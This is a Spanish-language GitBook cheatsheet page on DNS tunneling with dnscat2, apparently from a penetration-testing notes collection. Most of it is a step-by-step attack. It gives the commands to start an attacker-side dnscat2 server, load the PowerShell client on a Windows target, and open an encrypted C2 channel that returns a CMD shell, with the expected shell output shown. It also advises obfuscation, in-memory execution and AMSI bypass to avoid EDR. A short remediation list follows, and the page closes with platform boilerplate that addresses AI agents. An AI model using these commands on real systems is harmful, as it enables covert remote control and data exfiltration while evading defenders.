> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/dns-tunneling-con-dnscat2.md).

# DNS Tunneling con Dnscat2

* Dnscat2 es una herramienta de tunneling que usa el **protocolo DNS** para enviar datos entre dos hosts a través de un canal **C2 cifrado**, encapsulando los datos dentro de registros **TXT** del protocolo DNS.
* En entornos corporativos con Active Directory, el servidor DNS local resuelve hostnames hacia IPs. Con dnscat2 se abusa de ese flujo: en lugar de una consulta DNS legítima, se exfiltran datos hacia un servidor DNS externo controlado por el atacante.
* Es una técnica extremadamente sigilosa: evade firewalls que inspeccionan y cortan conexiones HTTPS o hacen sniffing del tráfico, ya que el tráfico DNS (UDP/53) raramente es filtrado.

> **Aclaración**: *DNS Tunneling* consiste en encapsular datos arbitrarios dentro de consultas/respuestas DNS. El protocolo DNS no fue diseñado para transportar payloads, lo que lo convierte en un canal encubierto difícil de detectar sin inspección profunda del tráfico DNS.

***

#### 1. Clonar e instalar dnscat2 en el host atacante

```bash
git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/
sudo gem install bundler
sudo bundle install
```

* Requiere Ruby + Bundler instalados en el host atacante.

***

#### 2. Iniciar el servidor dnscat2

```bash
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
```

* `--dns host=<IP>` — IP del host atacante donde escucha el servidor.
* `--dns port=53` — Puerto DNS estándar (UDP 53).
* `--dns domain=<dominio>` — Dominio usado como canal de comunicación encubierto.
* `--no-cache` — Deshabilita el caché de respuestas DNS; crítico para mantener el tunnel funcional.

**Output esperado:**

```
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

  ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local
```

El servidor genera un **secret key** que se debe proporcionar al cliente en Windows para autenticar y cifrar la sesión.

***

#### 3. Clonar el cliente PowerShell (en el host atacante)

```bash
git clone https://github.com/lukebaggett/dnscat2-powershell.git
```

* [dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) es un cliente compatible con dnscat2 basado en PowerShell, diseñado para ejecutarse desde targets Windows.
* Una vez clonado, transferir el archivo `dnscat2.ps1` al host objetivo.

**\*\*El archivo `dnscat2.ps1` queda escrito en disco del target — artefacto detectable por soluciones de EDR/AV. Considerar ofuscación o ejecución en memoria antes del deployment.\*\***

***

#### 4. Importar el módulo en el host Windows objetivo

```powershell
Import-Module .\dnscat2.ps1
```

**\*\*`Import-Module` sobre un script ofensivo conocido puede ser detectado y bloqueado por EDR modernos y AMSI (Antimalware Scan Interface). Evaluar técnicas de bypass de AMSI si es necesario.\*\***

***

#### 5. Establecer el tunnel hacia el servidor C2

```powershell
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd
```

* `-DNSserver` — IP del servidor dnscat2 atacante.
* `-Domain` — Dominio usado como canal DNS encubierto.
* `-PreSharedSecret` — Clave generada por el servidor; garantiza cifrado y autenticación de la sesión.
* `-Exec cmd` — Envía una shell CMD de vuelta al servidor C2.

**Output esperado (en el servidor):**

```
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
```

***

#### 6. Interactuar con la sesión establecida

```
dnscat2> window -i 1
```

* `window -i <n>` — Interactúa con la sesión número `n`.
* Para volver al menú principal: `Ctrl+Z`.

**Comandos disponibles en el prompt de dnscat2:**

```
dnscat2> ?
* echo, help, kill, quit, set, start, stop, tunnels, unset, window, windows
```

Usar `-h` en cualquier comando para ver ayuda adicional.

**Output esperado (shell activa en el target):**

```
Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>
```

***

#### Remediación:

* Implementar **DNS filtering** y monitoreo de consultas DNS anómalas (registros TXT con payloads en base64, volúmenes altos de subdominios únicos, consultas persistentes hacia un mismo dominio externo).
* Restringir la resolución DNS directa hacia servidores externos no autorizados desde hosts internos; forzar el uso de servidores DNS corporativos.
* Desplegar soluciones de **DNS Security** (ej. Cisco Umbrella, Palo Alto DNS Security) con capacidades de anomaly detection.
* Habilitar logging detallado de tráfico DNS y alertar sobre registros TXT de gran tamaño o frecuencia inusual.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/dns-tunneling-con-dnscat2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
